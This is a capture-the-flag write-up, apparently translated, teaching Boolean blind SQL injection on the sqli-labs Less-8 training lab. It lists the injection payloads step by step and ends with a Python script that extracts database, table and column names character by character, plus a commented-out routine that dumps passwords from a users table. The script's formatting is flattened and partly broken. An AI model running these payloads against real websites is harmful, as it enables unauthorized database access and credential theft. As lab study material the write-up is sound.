I have been doing Boolean blind injection questions for the past two days (for example: sqli-labs less-8). I am almost sick. It is too troublesome to try characters one by one. I have found several Boolean blind injection scripts on the Internet, and they are all similar. I have studied them. After a while, I wrote a script myself, which was barely usable. (There are so many big guys online!!!)
Let’s talk about what Boolean blind injection is
Boolean blind injection is a means of SQL injection when the web page has no echo or error and cannot use joint query and error injection. It uses the returned Boolean values True and False to determine whether the injection statement is successful, so it is called Boolean blind injection.
Generally speaking, SQL injection questions first test the name of the database, then the table name, field name, and finally the field value. However, when there is no echo on the page, our query will not have specific results, so we pass the judgment statement. to confirm.
During Boolean blind injection, if the judgment is correct, a specific Boolean value will be returned. In the script, we use this value to determine whether the injection is successful.
Determine the length of the database name:
?id=1' and length(database()) > 4 -- +
length() It can return the length of the string
database() is used to return the name of the current database
So the meaning of this code is: Determine whether the length of the current database name is greater than 4
The result is that the database library name length is 8
Determine the database name
?id=1' and ascii(substr((select database()),1,1)) = 101 -- +
ascii() can convert a character into an ascii code
substr(str,num1,num2) This function is used to intercept characters in a string. “str” is a string of strings, “num1” is the intercepted position in the string, and “num2” is the number of intercepted characters. So substr((select database()),1,1) is to intercept the first character of the database name;
We convert it into ascii code for judgment. If the judgment is successful, we will get the first character, then judge the second character, and so on (this is too cumbersome, I put the python script at the end)
When we determine what the database is, we can test the tables in the database
?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 4 -- +
count() aggregate function, which is used to return the number of rows in a table. It can be understood in a popular way. It can calculate the number of specific values.
In this SQL statement, we use the count() function to calculate the number of tables in the database and make judgments.
Abbreviation:
Judgment table name:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) > 101-- +
limit 0,1 Clause used to limit the number of rows returned in a result set in a SQL query. It can be understood in a popular way that “0, 1” returns the first row, “1, 1” returns the second row, and “2, 1” returns the third row.
After all, there is more than one table in a database. You need to test one table by table and one character by character (/(ㄒoㄒ)/~~)
Number of judgment fields:
?id=1' and (select count(column_name) from information_schema.columns where table_name = 'table name') > 4 -- +
column field column_name field name
Determine field name:
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'table name' limit 0,1),1,1)) > 101-- +
The last step is to get the flag (which is also judged character by character, so exhausting) and go directly to the script:
I separated the method of querying field values in the script because I think there are too many fields. If running them one by one is not as good as running them selectively, the general flags will be hidden in special fields. It can be seen that running them one by one is a bit wasteful. time
import requests url = 'http://589bbbf8-a1d7-45fe-831e-28af217c1c17.node4.buuoj.cn/Less-8/' str1 = "You are in..." #Query the length and name of the database library name def test_database(): payload = "?id=1' and length(database()) = {}-- + " #Judge database length global database for i in range (1,10): new_payload = payload.format(i) new_url = url + new_payload r = requests.get(new_url) if str1 in r.text: print(f"Database name length: {i}") break payload = "?id=1' and ascii(substr((select database()),{},1)) > {}-- + " #Determine the database name database = "" for j in range (1,20): min=65 max=122 mid = (min + max) // 2 while(min<max): new_payload = payload.format(j,mid) new_url = url + new_payload r = requests.get(new_url) if str1 in r.text: min=mid+1 else: max=mid mid = (min + max) // 2 if (chr(mid)=="A"): break database + = chr(mid) print(f"Database: {database}") return database #Query table quantity def test_table(): global table_count print("Number of tables:") payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) = {}-- + " for i in range (1,10): new_payload = payload.format(i) new_url = url + new_payload r = requests.get(new_url) if str1 in r.text: table_count = i print(f"{i}") break #Query the name of the table, number of table fields, field names def all_table_column(): global table_name global column_count global column_name payload1 = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {},1),{},1)) > {}-- + " for i in range (0,table_count): table_name = "" for j in range (1,10): min=65 max = 123 mid = (min + max) // 2 while(min<max): #Loop character and ascii comparison new_payload = payload1.format(i,j,mid) new_url = url + new_payload r = requests.get(new_url) if str1 in r.text: min=mid+1 else: max=mid mid = (min + max) // 2 if chr(mid) == "A": break table_name + = chr(mid) print(f"{i + 1}th table: {table_name}") print(f"Number of fields in {table_name} table: ") payload2 = "?id=1' and (select count(column_name) from information_schema.columns where table_name = '" + table_name + "')={}-- + " for l in range (1,10): new_payload = payload2.format(l) new_url = url + new_payload r = requests.get(new_url) if str1 in r.text: print(f"{l}") column_count = l payload3 = "?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = '" + table_name + "' limit {},1),{},1)) > {}-- + " for o in range (0,column_count): column_name = "" for p in range (1,10): #Test the length and name of the field min=65 max = 123 mid = (min + max) // 2 while(min<max): new_payload = payload3.format(o,p,mid) new_url = url + new_payload r = requests.get(new_url) if str1 in r.text: min=mid+1 else: max=mid mid = (min + max) // 2 if chr(mid) == "A": break column_name + = chr(mid) print(f"{o + 1}th field name: {column_name}") #The function for querying field values is separated # def last_value(): #global value # global count # value = "" # count = 0 # payload = "?id=1' and (select count(password) from users)={} -- + " # #payload = "?id=1' and ascii(substr((select password from users limit {},1),{},1)) > {}-- + " # for j in range(1,20): # new_payload = payload.format(j) # new_url = url + new_payload # r = requests.get(new_url) # print(new_url) # if str1 in r.text: # print(f"There are {j} field values") # count = j # break # payload = "?id=1' and ascii(substr((select password from users limit {},1),{},1)) > {}-- + " # for i in range(0,count): # for k in range (1,99): # min = 33 # max = 125 # mid = (min + max) // 2 # while(min<max): # new_payload = payload.format(i,k,mid) # new_url = url + new_payload # r = requests.get(new_url) # if str1 in r.text: # min = mid + 1 #else: # max = mid # mid = (min + max) // 2 # print(new_url) # if chr(mid) == '!': # break # value + = chr(mid) # if i == count-1: # value + = '.' #else: # value + = ',' # print(f"value: {value}") test_database() test_table() all_table_column() #last_value()
Script running results:
Here we select the field values queried in the users table.